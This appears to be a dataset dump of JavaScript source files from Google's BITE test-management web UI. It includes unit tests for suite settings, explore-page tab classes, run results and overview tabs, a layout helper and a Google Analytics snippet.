code
stringlengths
1
2.08M
language
stringclasses
1 value
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for the Set's details page. * * @author phu@google.com (Po Hu) */ goog.require('bite.server.Set'); goog.require('goog.Uri.QueryData'); goog.require('goog.dom'); goog.require('goog.json'); goog.require('goog.net.XhrIo'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.mockmatchers'); goog.require('goog.testing.net.XhrIo'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; function setUp() { mockControl_ = new goog.testing.MockControl(); stubs_.replace(goog.net.XhrIo, 'send', goog.testing.net.XhrIo.send); } function tearDown() { mockControl_.$tearDown(); mockControl_ = null; goog.testing.net.XhrIo.sendInstances_ = []; stubs_.reset(); } function testLoadSuiteFromServer() { var set = new bite.server.Set(); set.loadSuiteFromServer('a', 'b', 'c'); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var sentUri = sendInstance.getLastUri(); assertEquals('/suite/load', sentUri); } function testSaveSetToServer() { var elem = goog.dom.createDom('div', {'id': 'setName', 'value': 'abc'}); goog.dom.appendChild(goog.dom.getDocument().body, elem); var set = new bite.server.Set(); set.saveSetToServer(); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var sentUri = sendInstance.getLastUri(); assertEquals('/suite/add', sentUri); } function testParseParams() { var elem = goog.dom.createDom('div', {'id': 'mainnav-overview', 'value': 'abc', 'class': 'mainnav-item'}); goog.dom.appendChild(goog.dom.getDocument().body, elem); var elem2 = goog.dom.createDom('div', {'id': 'setTabDetailDiv', 'value': 'abc', 'innerHTML': ''}); goog.dom.appendChild(goog.dom.getDocument().body, elem2); mockControl_.$replayAll(); var set = new bite.server.Set(); set.parseParams_(goog.Uri.QueryData.createFromMap({'suiteKey': 'abc'})); mockControl_.$verifyAll(); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for the setting tab in set's page. * * @author phu@google.com (Po Hu) */ goog.require('bite.server.set.Settings'); goog.require('goog.json'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.mockmatchers'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; function setUp() { mockControl_ = new goog.testing.MockControl(); } function tearDown() { mockControl_.$tearDown(); mockControl_ = null; stubs_.reset(); } function testSetProperties() { var settings = new bite.server.set.Settings(null); var params = {'token': 'a', 'emailFrom': ['b'], 'emailTo': ['c'], 'startUrl': 'd', 'failureThresh': 0, 'interval': 1}; settings.setProperties(params); assertEquals(settings.token_, 'a'); assertEquals(settings.interval_, 1); assertEquals(settings.failureThresh_, 0); assertEquals(settings.startUrl_, 'd'); assertObjectEquals(settings.emailFrom_, ['b']); assertObjectEquals(settings.emailTo_, ['c']); } function testAddProperties() { var settings = new bite.server.set.Settings(null); var params = {}; settings.token_ = 'a'; settings.interval_ = 1; settings.startUrl_ = 'd'; settings.failureThresh_ = 0; settings.emailFrom_ = ['b']; settings.emailTo_ = ['c']; settings.addProperties(params); assertEquals(params['tokens'], 'a'); assertEquals(params['interval'], 1); assertEquals(params['startUrl'], 'd'); assertEquals(params['failureThresh'], 0); assertObjectEquals(params['emailFrom'], goog.json.serialize(['b'])); assertObjectEquals(params['emailTo'], goog.json.serialize(['c'])); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the tests source base class, which * handles loading and saving tests from and to a specified source depot. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.TestSrcHelper'); /** * A class for the source of tests related functions. * @param {Function} loadTestsFromBackend The tests loading function. * @constructor * @export */ bite.server.TestSrcHelper = function(loadTestsFromBackend) { /** * Some value. * @type {Function} */ this.loadTestsFromBackend = loadTestsFromBackend; }; /** * Shows the query fields UI. * @export */ bite.server.TestSrcHelper.prototype.showQueryFields = function() { }; /** * Saves the inputs from fields. * @export */ bite.server.TestSrcHelper.prototype.saveFields = function() { }; /** * Loads the inputs in fields. * @export */ bite.server.TestSrcHelper.prototype.loadFields = function() { }; /** * Sets the fields. * @param {Object} paramsMap A params map. * @export */ bite.server.TestSrcHelper.prototype.setFields = function(paramsMap) { }; /** * Adds the properties to the given params map. * @param {Object} paramsMap A params map. * @export */ bite.server.TestSrcHelper.prototype.addProperties = function(paramsMap) { };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the runs tab class in explore page. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.explore.RunTab'); goog.require('bite.server.Constants'); goog.require('bite.server.Helper'); goog.require('bite.server.explore.Tab'); goog.require('bite.server.templates.explore'); goog.require('goog.Uri'); goog.require('goog.dom'); goog.require('goog.net.XhrIo'); /** * A class for the run tab in explore page. * @param {function()} getDataFunc The function to get data. * @extends {bite.server.explore.Tab} * @constructor * @export */ bite.server.explore.RunTab = function(getDataFunc) { goog.base(this, getDataFunc); }; goog.inherits(bite.server.explore.RunTab, bite.server.explore.Tab); /** * Inits the UI. * @export */ bite.server.explore.RunTab.prototype.init = function() { goog.base(this, 'init'); }; /** * Sets up the left navigations. * @export */ bite.server.explore.RunTab.prototype.setUpLeftNavs = function() { this.showLeftNavs( this.getDataFunc(), goog.bind(this.onArtifactSelected, this), goog.bind(this.handleUserOperation, this)); }; /** * Callback funtion when an artifact was selected. * @param {string} name The selected item name. * @param {string} id The selected item id. * @param {string} artType The selected item type. * @export */ bite.server.explore.RunTab.prototype.onArtifactSelected = function( name, id, artType) { this.setArtifactValues(name, id, artType); if (this.lastSelectedArtType == 'run') { this.getDetailsInfo(this.lastSelectedKey); } }; /** * Handles the operation triggered by user. * @param {Event} event The event object. * @export */ bite.server.explore.RunTab.prototype.handleUserOperation = function( event) { var operationValue = event.target.id; var keyType = 'runKey'; var keyValue = this.lastSelectedKey; var paramsBag = {}; if (this.lastSelectedArtType == 'runTemplate') { keyType = 'runTemplateKey'; } paramsBag[keyType] = keyValue; if (operationValue == 'runDetails') { paramsBag['page'] = 'run_details'; goog.global.window.open(bite.server.Helper.getUrlHash( '', '/home', paramsBag)); } else if (operationValue == 'startARunTemplate') { var requestUrl = bite.server.Helper.getUrl( '', '/run/add', {}); var parameters = goog.Uri.QueryData.createFromMap(paramsBag).toString(); goog.net.XhrIo.send(requestUrl, function() { if (this.isSuccess()) { alert(this.getResponseText()); } else { throw new Error('Failed to start the run. Error status: ' + this.getStatus()); } }, 'POST', parameters); } else if (operationValue == 'deleteRun') { var requestUrl = bite.server.Helper.getUrl( '', '/run/delete', {}); var parameters = goog.Uri.QueryData.createFromMap(paramsBag).toString(); goog.net.XhrIo.send(requestUrl, function() { if (this.isSuccess()) { alert(this.getResponseText()); } else { throw new Error('Failed to delete the run. Error status: ' + this.getStatus()); } }, 'POST', parameters); } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the run details page's results tab. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.run.Results'); goog.require('bite.server.Constants'); goog.require('bite.server.Helper'); goog.require('bite.server.set.Tab'); goog.require('bite.server.templates.details.RunResults'); goog.require('goog.Uri'); goog.require('goog.array'); goog.require('goog.dom'); goog.require('goog.events'); goog.require('goog.net.XhrIo'); goog.require('goog.ui.TableSorter'); /** * A class for Run's page's runs tab. * @param {function():string} getKeyFunc The getter for set's key. * @extends {bite.server.set.Tab} * @constructor * @export */ bite.server.run.Results = function(getKeyFunc) { /** * A function to get the selected item's key string. * @type {function():string} * @private */ this.getKeyFunc_ = getKeyFunc; /** * The last selected checkbox index, which will be used to handle multiple * selection. * @type {number} * @private */ this.lastCheckboxIndex_ = 0; /** * The result checkboxes. * @type {NodeList} * @private */ this.resultCheckboxes_ = null; }; goog.inherits(bite.server.run.Results, bite.server.set.Tab); /** * Inits the Run's page's results tab. * @param {Element} tabDetailsDiv The tab details div. * @export */ bite.server.run.Results.prototype.init = function(tabDetailsDiv) { tabDetailsDiv.innerHTML = bite.server.templates.details.RunResults.showResultsData(); this.loadResultsSummary_(); this.loadResultsDetails_(); }; /** * Loads all the filtered results' summary from server. * @private */ bite.server.run.Results.prototype.loadResultsSummary_ = function() { var runKey = this.getKeyFunc_(); if (!runKey) { return; } var requestUrl = bite.server.Helper.getUrl( '', '/run/load_results_summary', {}); var parameters = goog.Uri.QueryData.createFromMap( {'runKey': runKey}).toString(); goog.net.XhrIo.send(requestUrl, function() { if (this.isSuccess()) { var runObj = this.getResponseJson(); if (runObj) { goog.dom.getElement('summaryResultsData').innerHTML = bite.server.templates.details.RunResults.showResultsSummaryData( runObj); bite.server.Helper.drawPieChart( runObj['data']['passedNum'], runObj['data']['failedNum'], runObj['data']['uncompletedNum']); } } else { throw new Error('Failed to get the run summary data. Error status: ' + this.getStatus()); } }, 'POST', parameters); }; /** * Adds the sorter in the result table. * @private */ bite.server.run.Results.prototype.addSorter_ = function() { var component = new goog.ui.TableSorter(); component.decorate(goog.dom.getElement('resultTable')); component.setDefaultSortFunction(goog.ui.TableSorter.alphaSort); }; /** * Handles the check box is clicked. * @private */ bite.server.run.Results.prototype.handleCheckboxClicked_ = function(e) { var curIndex = goog.array.indexOf(this.resultCheckboxes_, e.target); // This simulates the Gmail multiple select behavior, which sets all the // checkboxes from the last selected to the current selected status at // once. if (e.shiftKey) { var checked = e.target.checked; var min = Math.min(this.lastCheckboxIndex_, curIndex); var max = Math.max(this.lastCheckboxIndex_, curIndex) + 1; for (var i = min; i < max; ++i) { this.resultCheckboxes_[i].checked = checked; } } this.lastCheckboxIndex_ = curIndex; }; /** * Registers the events on buttons. * @private */ bite.server.run.Results.prototype.registerEvents_ = function() { goog.events.listen( goog.dom.getElement('playbackTests'), goog.events.EventType.CLICK, this.onPlaybackTests_); var doc = goog.dom.getDocument(); this.resultCheckboxes_ = doc.getElementsByName('resultCheckbox'); for (var i = 0, len = this.resultCheckboxes_.length; i < len; ++i) { goog.events.listen(this.resultCheckboxes_[i], goog.events.EventType.CLICK, goog.bind(this.handleCheckboxClicked_, this)) } this.addSorter_(); }; /** * Callback function when users choose to playback tests. * @param {Event} e The event object. * @private */ bite.server.run.Results.prototype.onPlaybackTests_ = function(e) { var testsInfo = {}; var checkboxes = goog.dom.getDocument().getElementsByName('resultCheckbox'); for (var i = 0, len = checkboxes.length; i < len; ++i) { if (checkboxes[i].checked) { var index = checkboxes[i].id.split('-')[0]; var testName = goog.dom.getElement(index + '_testName').innerHTML; testsInfo[testName] = goog.dom.getElement(index + '_log').innerHTML; } } goog.dom.getElement('rpfLaunchData').innerHTML = goog.json.serialize(testsInfo); var evt = goog.dom.getDocument().createEvent('Event'); evt.initEvent('rpfLaunchEvent', true, true); e.target.dispatchEvent(evt); }; /** * Loads all the filtered results' details from server. * @private */ bite.server.run.Results.prototype.loadResultsDetails_ = function() { var runKey = this.getKeyFunc_(); if (!runKey) { return; } var requestUrl = bite.server.Helper.getUrl( '', '/run/load_results_details', {}); var parameters = goog.Uri.QueryData.createFromMap( {'runKey': runKey}).toString(); goog.net.XhrIo.send(requestUrl, goog.bind(function(e) { var xhr = e.target; if (xhr.isSuccess()) { var runs_obj = xhr.getResponseJson(); if (runs_obj) { goog.dom.getElement('detailedResultsTable').innerHTML = bite.server.templates.details.RunResults.showDetailedResultsTable( runs_obj); this.registerEvents_(); } } else { throw new Error('Failed to get the run details data. Error status: ' + xhr.getStatus()); } }, this), 'POST', parameters); };
JavaScript
var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-20998404-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the run's details page's all tabs. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.run.Overview'); goog.require('bite.server.Helper'); goog.require('bite.server.set.Tab'); goog.require('bite.server.templates.details.RunOverview'); goog.require('goog.dom'); goog.require('goog.json'); /** * A class for overview tab in run's details page. * @param {function():string} getKeyFunc The function to get the key string. * @extends {bite.server.set.Tab} * @constructor * @export */ bite.server.run.Overview = function(getKeyFunc) { goog.base(this, getKeyFunc); /** * The function to get the key string of selected item. * @type {function():string} * @private */ this.getKeyFunc_ = getKeyFunc; /** * The run's name. * @type {string} * @private */ this.name_ = ''; /** * The run's description. * @type {string} * @private */ this.description_ = ''; /** * The run's occurrence. * @type {string} * @private */ this.occurrence_ = ''; /** * The run's scheduled interval in minutes. * @type {string} * @private */ this.interval_ = ''; /** * The run's start time. * @type {string} * @private */ this.startTime_ = ''; }; goog.inherits(bite.server.run.Overview, bite.server.set.Tab); /** * Inits the overview tab of the run's details page. * @param {Element} tabDetailsDiv The tab details div. * @export */ bite.server.run.Overview.prototype.init = function(tabDetailsDiv) { tabDetailsDiv.innerHTML = bite.server.templates.details.RunOverview.showTabOverview({}); this.loadSetting(); }; /** * Saves the previous page settings. This is called when another tab is * selected. * @export */ bite.server.run.Overview.prototype.saveSetting = function() { this.name_ = goog.dom.getElement('runName').value; this.interval_ = goog.dom.getElement('interval').value; this.description_ = goog.dom.getElement('runDesc').value; }; /** * Loads the page's settings. This is called when the overview tab is selected. * @export */ bite.server.run.Overview.prototype.loadSetting = function() { goog.dom.getElement('runName').value = this.name_; goog.dom.getElement('interval').value = this.interval_; goog.dom.getElement('runDesc').value = this.description_; }; /** * Sets the default properties. This is called when a set is loaded, and * a map of params will be passed in. * @param {Object} params The parameter map. * @export */ bite.server.run.Overview.prototype.setProperties = function(params) { this.description_ = params['runDesc']; this.interval_ = params['interval']; this.name_ = params['runName']; }; /** * Adds the properties to the given map. This is called when a set is saved, * and this function adds parameters to the map to be sent to the server. * @param {Object} params The parameter map. * @export */ bite.server.run.Overview.prototype.addProperties = function(params) { params['runDesc'] = this.description_; params['interval'] = this.interval_; params['runName'] = this.name_; };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the tab base class in explore page. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.explore.Tab'); goog.require('bite.server.Constants'); goog.require('bite.server.Helper'); goog.require('bite.server.LayoutHelper'); goog.require('bite.server.templates.explore'); goog.require('goog.Uri'); goog.require('goog.dom'); goog.require('goog.net.XhrIo'); /** * A class for tab base in explore page. * @param {?function()} getDataFunc The function to get data. * @constructor * @export */ bite.server.explore.Tab = function(getDataFunc) { /** * The last selected artifact name. * @type {string} * @private */ this.lastSelectedName_ = ''; /** * The last selected artifact key string. * @type {string} * @protected */ this.lastSelectedKey = ''; /** * The last selected artifact's type. * @type {string} * @protected */ this.lastSelectedArtType = ''; /** * The layout helper object. * @type {bite.server.LayoutHelper} * @private */ this.layoutHelper_ = bite.server.LayoutHelper.getInstance(); /** * The function to get data. * @type {?function()} * @protected */ this.getDataFunc = getDataFunc; }; /** * Inits the UI. * @export */ bite.server.explore.Tab.prototype.init = function() { }; /** * Sets up the left navigations. * @export */ bite.server.explore.Tab.prototype.setUpLeftNavs = function() { }; /** * Sets the common values when artifact is selected. * @param {string} name The selected item name. * @param {string} id The selected item id. * @param {string} artType The selected item type. * @export */ bite.server.explore.Tab.prototype.setArtifactValues = function( name, id, artType) { this.lastSelectedName = name; this.lastSelectedKey = id; this.lastSelectedArtType = artType; }; /** * Shows the left navs. * @param {string} project The project name string. * @param {function()} callbackOnSelect The callback function when selected. * @param {function()} callbackOnAction The callback for an action. * @export */ bite.server.explore.Tab.prototype.showLeftNavs = function( project, callbackOnSelect, callbackOnAction) { var leftNavBar = goog.dom.getElement('leftnav-bar'); leftNavBar.innerHTML = bite.server.templates.explore.showLeftNavs( {'data': bite.server.Constants.NAV_DETAILS_MAP[ this.layoutHelper_.getMainNavId()]}); var leftNavs = /** @type {Array} */ (goog.dom.getElementsByClass('leftnav-item')); this.layoutHelper_.handleLeftNavChanges( leftNavs[0].id, bite.server.Constants.DEFAULT_MAINNAVS_EXPLORE_PAGE, callbackOnSelect, callbackOnAction, project); bite.server.Helper.addListenersToElems( leftNavs, goog.bind(this.listenToHandleLeftNavChanges, this, callbackOnSelect, callbackOnAction, project)); goog.dom.getElement('main_content').innerHTML = bite.server.templates.explore.showContent( {'data': {'artifactHeader': bite.server.Constants.NAV_DETAILS_MAP[ this.layoutHelper_.getMainNavId()]}}); }; /** * Listens to handle left navigation changes. * @param {function()} callbackOnSelect The callback function when selected. * @param {function()} callbackOnAction The callback for an action. * @param {string} project The project name string. * @param {Event} event The event object. * @export */ bite.server.explore.Tab.prototype.listenToHandleLeftNavChanges = function( callbackOnSelect, callbackOnAction, project, event) { this.layoutHelper_.handleLeftNavChanges( event.target.id, bite.server.Constants.DEFAULT_MAINNAVS_EXPLORE_PAGE, callbackOnSelect, callbackOnAction, project); }; /** * Gets the details info for the given run key. * @param {string} run_key_str The specified run's key string. * @export */ bite.server.explore.Tab.prototype.getDetailsInfo = function(run_key_str) { var requestUrl = bite.server.Helper.getUrl( '', '/run/get_details', {}); var parameters = goog.Uri.QueryData.createFromMap( {'runKey': run_key_str}).toString(); var that = this; goog.net.XhrIo.send(requestUrl, function() { if (this.isSuccess()) { var details = null; var details_obj = this.getResponseJson(); if (details_obj) { details = details_obj['details']; } else { alert('Failed to get associated run info.'); } that.updateDetailsInfo(details); } else { throw new Error('Failed to get the details. Error status: ' + this.getStatus()); } }, 'POST', parameters); }; /** * Updates the details info for the given run key. * @param {Object} details The specified run's details info. * @export */ bite.server.explore.Tab.prototype.updateDetailsInfo = function(details) { var getE = goog.dom.getElement; getE('main_preview').innerHTML = bite.server.templates.explore.showPreview(); getE('detailCompleted').innerHTML = details['completed_str']; getE('detailPassed').innerHTML = details['passed_str']; getE('detailFailed').innerHTML = details['failed_str']; getE('detailDuration').innerHTML = details['elapsed_time_str']; getE('detailStartTime').innerHTML = details['start_time_str']; getE('detailLead').innerHTML = details['run_lead']; bite.server.Helper.drawBarChart(details['passed_num'], details['failed_num'], details['uncompleted_num']); getE('detailsPanel').style.display = 'block'; };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the set tab class in explore page. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.explore.SetTab'); goog.require('bite.server.Constants'); goog.require('bite.server.Helper'); goog.require('bite.server.explore.Tab'); goog.require('bite.server.templates.explore'); goog.require('goog.Uri'); goog.require('goog.dom'); goog.require('goog.net.XhrIo'); /** * A class for the set tab in explore page. * @param {function()} getDataFunc The function to get data. * @extends {bite.server.explore.Tab} * @constructor * @export */ bite.server.explore.SetTab = function(getDataFunc) { goog.base(this, getDataFunc); }; goog.inherits(bite.server.explore.SetTab, bite.server.explore.Tab); /** * Inits the UI. * @export */ bite.server.explore.SetTab.prototype.init = function() { goog.base(this, 'init'); }; /** * Sets up the left navigations. * @export */ bite.server.explore.SetTab.prototype.setUpLeftNavs = function() { this.showLeftNavs( this.getDataFunc(), goog.bind(this.onArtifactSelected, this), goog.bind(this.handleUserOperation, this)); }; /** * Callback funtion when an artifact was selected. * @param {string} name The selected item name. * @param {string} id The selected item id. * @param {string} artType The selected item type. * @export */ bite.server.explore.SetTab.prototype.onArtifactSelected = function( name, id, artType) { this.setArtifactValues(name, id, artType); }; /** * Handles the operation triggered by user. * @param {Event} event The event object. * @export */ bite.server.explore.SetTab.prototype.handleUserOperation = function( event) { var operationValue = event.target.id; if (operationValue == 'details') { goog.global.window.open(bite.server.Helper.getUrlHash( '', '/home', {'page': 'set_details', 'suiteKey': this.lastSelectedKey})); } else if (operationValue == 'start') { var requestUrl = bite.server.Helper.getUrl( '', '/run/add', {}); var parameters = goog.Uri.QueryData.createFromMap( {'suiteKey': this.lastSelectedKey}).toString(); goog.net.XhrIo.send(requestUrl, function() { if (this.isSuccess()) { alert(this.getResponseText()); } else { throw new Error('Failed to start the run. Error status: ' + this.getStatus()); } }, 'POST', parameters); } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the layout functions. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.LayoutHelper'); goog.require('bite.server.Constants'); goog.require('bite.server.Helper'); goog.require('bite.server.templates.explore'); goog.require('goog.Uri'); goog.require('goog.dom'); goog.require('goog.net.XhrIo'); /** * A class for initializing layouts. * @constructor * @export */ bite.server.LayoutHelper = function() { /** * The main navigation id. * @type {string} * @private */ this.mainNavId_ = ''; /** * The left navigation id. * @type {string} * @private */ this.leftNavId_ = ''; /** * The selected artifact. * @type {Element} * @private */ this.selectedArtifact_ = null; }; goog.addSingletonGetter(bite.server.LayoutHelper); /** * Inits the layout based on the params. * @export * @suppress {missingProperties} google.load */ bite.server.LayoutHelper.prototype.init = function() { google.load('visualization', '1', {packages: ['corechart', 'imagechart']}); soy.renderElement( goog.dom.getElement('topRow'), bite.server.templates.explore.showPageTopRow, {'data': {'topnavs': bite.server.Constants.TOP_NAV_DEFAULT_DATA}}); var topNavs = /** @type {Array} */ (goog.dom.getElementsByClass('topnav-item')); if (topNavs.length > 0) { this.handleTopNavChanges(topNavs[0].id); bite.server.Helper.addListenersToElems( topNavs, goog.bind(this.listenToHandleTopNavChanges, this)); } this.fetchLoginCredential_(); }; /** * Gets the login credentials. * @private */ bite.server.LayoutHelper.prototype.fetchLoginCredential_ = function() { var requestUrl = bite.server.Helper.getUrl( '', '/check_login_status', {}); goog.net.XhrIo.send(requestUrl, goog.bind(function(e) { var xhr = e.target; if (xhr.isSuccess()) { var result = xhr.getResponseJson(); var userDiv = goog.dom.getDocument().querySelector('.topnav-username'); userDiv.innerText = result['user']; } else { throw new Error('Failed to get the login credentials: ' + xhr.getStatus()); } }, this), 'GET'); }; /** * Gets the mainnav id. * @export */ bite.server.LayoutHelper.prototype.getMainNavId = function() { return this.mainNavId_; }; /** * Listens to handle top navigation changes. * @param {Event} event The event object. * @export */ bite.server.LayoutHelper.prototype.listenToHandleTopNavChanges = function( event) { this.handleTopNavChanges(event.target.id); }; /** * Handles top navigation changes. * @param {string} id The top nav's id. * @export */ bite.server.LayoutHelper.prototype.handleTopNavChanges = function(id) { this.topNavId = id.substring('topnav-'.length); bite.server.Helper.updateSelectedCss( goog.dom.getElement(id), 'topnav-item', 'topnav-item topnav-item-selected'); var newHref = bite.server.Helper.getValueInArray( bite.server.Constants.TOP_NAV_DEFAULT_DATA, 'name', this.topNavId, 'href'); if (newHref) { goog.global.window.location.href = /** @type {string} */ (newHref); } }; /** * Handles main navigation changes. * @param {string} id The main nav's id. * @export */ bite.server.LayoutHelper.prototype.handleMainNavChanges = function(id) { this.mainNavId_ = id.substring('mainnav-'.length); bite.server.Helper.updateSelectedCss( goog.dom.getElement(id), 'mainnav-item', 'mainnav-item mainnav-item-selected'); }; /** * Handles left navigation changes. * @param {string} id The left nav id. * @param {Object} mainNavInfo The main nav info map. * @param {function()} callbackOnSelect The callback function when selected. * @param {function()} callbackOnAction The callback for an action. * @param {string} project The project name string. * @export */ bite.server.LayoutHelper.prototype.handleLeftNavChanges = function( id, mainNavInfo, callbackOnSelect, callbackOnAction, project) { this.leftNavId_ = id.substring('leftnav-'.length); bite.server.Helper.updateSelectedCss( goog.dom.getElement(id), 'leftnav-item', 'leftnav-item leftnav-item-selected'); var handler = ''; for (var i = 0, len = mainNavInfo.length; i < len; i++) { if (mainNavInfo[i]['name'] == this.mainNavId_) { handler = mainNavInfo[i]['path']; } } var requestUrl = bite.server.Helper.getUrl( '', handler, {}); var parameters = goog.Uri.QueryData.createFromMap( {'filter': this.leftNavId_, 'projectName': project}).toString(); var that = this; goog.net.XhrIo.send(requestUrl, function() { if (this.isSuccess()) { var details = null; var details_obj = this.getResponseJson(); if (details_obj) { details = details_obj['details']; goog.dom.getElement('artifactItems').innerHTML = bite.server.templates.explore.showArtifactContent( {'data': {'artifacts': details}}); var dataRows = /** @type {Array} */ (goog.dom.getElementsByClass('data-row')); bite.server.Helper.addListenersToElems( dataRows, goog.bind(that.selectArtifact, that, callbackOnSelect)); var dataActions = /** @type {Array} */ (goog.dom.getElementsByClass('data-action')); bite.server.Helper.addListenersToElems( dataActions, callbackOnAction); } else { alert('Failed to get associated results info.'); } } else { throw new Error('Failed to get the results. Error status: ' + this.getStatus()); } }, 'POST', parameters); this.clearMainArea(); }; /** * Clears the preview view. * @export */ bite.server.LayoutHelper.prototype.clearPreview = function() { var detailsPanel = goog.dom.getElement('detailsPanel'); if (detailsPanel) { detailsPanel.style.display = 'none'; } }; /** * Clears the main view. * @export */ bite.server.LayoutHelper.prototype.clearMainArea = function() { this.selectedArtifact_ = null; this.clearPreview(); }; /** * Unselects an artifact. * @param {Element} target The element that was selected. * @export */ bite.server.LayoutHelper.prototype.unselectArtifact = function(target) { if (!target) { return; } goog.dom.setProperties(this.selectedArtifact_, {'class': 'data-row'}); var moreContent = goog.dom.getElement(target.id + 'more'); if (moreContent) { goog.dom.setProperties(moreContent, {'style': 'display: none'}); } this.selectedArtifact_ = null; }; /** * Selects an artifact. * @param {Function} callback The callback function. * @param {Object} event The event object. * @export */ bite.server.LayoutHelper.prototype.selectArtifact = function( callback, event) { var target = event.currentTarget; if (this.selectedArtifact_ == target) { this.unselectArtifact(null); return; } var id = target.id.split('_')[1]; var artType = target.id.split('_')[0].substring('artifact'.length); var name = target.getAttribute('name'); if (callback) { callback(name, id, artType); } if (this.selectedArtifact_) { this.unselectArtifact(this.selectedArtifact_); } this.selectedArtifact_ = target; goog.dom.setProperties(target, {'class': 'data-row data-row-selected'}); var moreContent = goog.dom.getElement(target.id + 'more'); goog.dom.setProperties(moreContent, {'style': 'display: block'}); }; /** * Clears the status. * @export */ bite.server.LayoutHelper.prototype.clearStatus = function() { this.mainNavId_ = ''; this.leftNavId_ = ''; this.selectedArtifact_ = null; };
JavaScript
